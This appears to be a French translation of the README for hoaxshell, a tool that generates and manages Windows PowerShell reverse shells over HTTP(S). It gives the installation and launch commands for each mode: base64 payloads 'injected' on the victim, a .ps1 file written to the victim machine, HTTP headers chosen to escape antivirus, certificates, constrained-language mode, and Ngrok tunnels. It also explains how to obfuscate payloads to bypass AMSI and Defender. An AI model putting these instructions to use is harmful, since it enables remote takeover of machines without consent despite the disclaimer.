
Un générateur et gestionnaire de payload de reverse shell Windows qui exploite le protocole http(s) pour établir un reverse shell de type balise.
⚠️ Depuis le 2022-10-18, hoaxshell est détecté par AMSI (malware-encyclopedia). Vous devez obfusquer le payload généré pour l'utiliser. Consultez cette vidéo sur la façon d'obfusquer manuellement et de contourner MS Defender :
hoaxshell est un générateur et gestionnaire de reverse shell Windows qui abuse du protocole http(s) pour établir un reverse shell de type beacon, basé sur le concept suivant :

Ce concept de C2 (qui pourrait être implémenté en utilisant d'autres protocoles que http ou des exécutables pré-installés) peut être utilisé pour établir des sessions qui favorisent l'illusion d'avoir un shell, mais qui sont loin d'un véritable pty.
HoaxShell a bien résisté face aux antivirus (consultez le tableau AV Bypass PoCs pour plus d'informations). Bien qu'il soit maintenant généralement détecté, il est facile d'obfusquer le(s) payload(s) généré(s) à l'aide d'outils automatisés ou manuellement.
Avertissement : Conçu uniquement à des fins de test et d'éducation. N'exécutez PAS les payloads générés par cet outil contre des hôtes pour lesquels vous n'avez pas l'autorisation explicite de tester. Vous êtes responsable de tout problème que vous pourriez causer en utilisant cet outil.
[2022-10-11] Récent et génial, réalisé par John Hammond -> youtube.com/watch?v=fgSARG82TJY [2022-07-15] Démo de la version originale, réalisée par moi -> youtube.com/watch?v=SEufgD5UxdU

Plus de captures d'écran ici.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Important : Afin d'éviter la détection, hoaxshell génère automatiquement des valeurs aléatoires pour l'ID de session, les chemins d'URL et le nom d'un en-tête HTTP personnalisé utilisé dans le processus, à chaque démarrage du script. Le payload généré ne fonctionnera que pour l'instance pour laquelle il a été généré. Utilisez l'option -g pour contourner ce comportement et rétablir une session active ou réutiliser un payload passé généré avec une nouvelle instance de hoaxshell.
Lorsque vous exécutez hoaxshell, il génère son propre payload PowerShell que vous devez copier et injecter sur la victime. Par défaut, le payload est encodé en base64 pour plus de commodité. Si vous avez besoin du payload brut, exécutez la commande d'invite "rawpayload" ou démarrez hoaxshell avec l'argument -r. Une fois le payload exécuté sur la victime, vous pourrez exécuter des commandes PowerShell contre elle.
Invoke-Expression (par défaut)sudo python3 hoaxshell.py -s <votre_ip>
Utilisez -x pour fournir un nom de fichier .ps1 (chemin absolu) à créer sur la machine victime. Vous devriez vérifier le payload brut avant de l'exécuter, assurez-vous que le chemin fourni est fiable.
sudo python3 hoaxshell.py -s <votre_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell utilise un en-tête HTTP pour transférer les informations de session du shell. Par défaut, l'en-tête reçoit un nom aléatoire qui peut être détecté par des règles AV basées sur des expressions régulières. Utilisez -H pour fournir un nom d'en-tête HTTP standard ou personnalisé afin d'éviter la détection.
sudo python3 hoaxshell.py -s <votre_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <votre_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Ce payload particulier est un signal d'alarme, car il commence par un bloc de code supplémentaire qui ordonne à PowerShell d'ignorer les vérifications de certificats SSL, ce qui le rend suspect et facilement détectable, ainsi que significativement plus long. Déconseillé.
# Générer un certificat auto-signé :
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Passer les fichiers cert.pem et key.pem en arguments :
sudo python3 hoaxshell.py -s <votre_ip> -c </chemin/vers/cert.pem> -k <chemin/vers/key.pem>
Si vous possédez un domaine, utilisez cette option pour générer un payload https plus court et moins détectable en fournissant votre DN avec -s ainsi qu'un certificat de confiance (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <votre.domaine.com> -t -c </chemin/vers/cert.pem> -k <chemin/vers/key.pem>
Si vous fermez votre terminal accidentellement, ou en cas de panne de courant, vous pouvez démarrer hoaxshell en mode reprise de session ; il tentera de rétablir une session, à condition que le payload soit toujours en cours d'exécution sur la machine victime.
sudo python3 hoaxshell.py -s <votre_ip> -g
Important : Assurez-vous de démarrer hoaxshell avec les mêmes paramètres que la session que vous essayez de restaurer (http/https, port, etc.).
Utilisez n'importe quelle variation de payload avec l'option -cm (--constraint-mode) pour générer un payload qui fonctionne même si la victime est configurée pour exécuter PS en mode langage contraint. En utilisant cette option, vous sacrifiez un peu la précision du décodage de la sortie standard de votre reverse shell.
sudo python3 hoaxshell.py -s <votre_ip> -cm

Utilisez les programmes de tunneling Ngrok ou LocalTunnel pour obtenir des sessions via des tunnels sécurisés, contournant les problèmes tels que l'absence d'adresse IP statique ou l'interdiction du redirection de port par votre FAI.
Utilisez -ng ou --ngrok pour le serveur Ngrok
sudo python3 hoaxshell.py -ng
Utilisez -lt ou --localtunnel pour le serveur LocalTunnel
sudo python3 hoaxshell.py -lt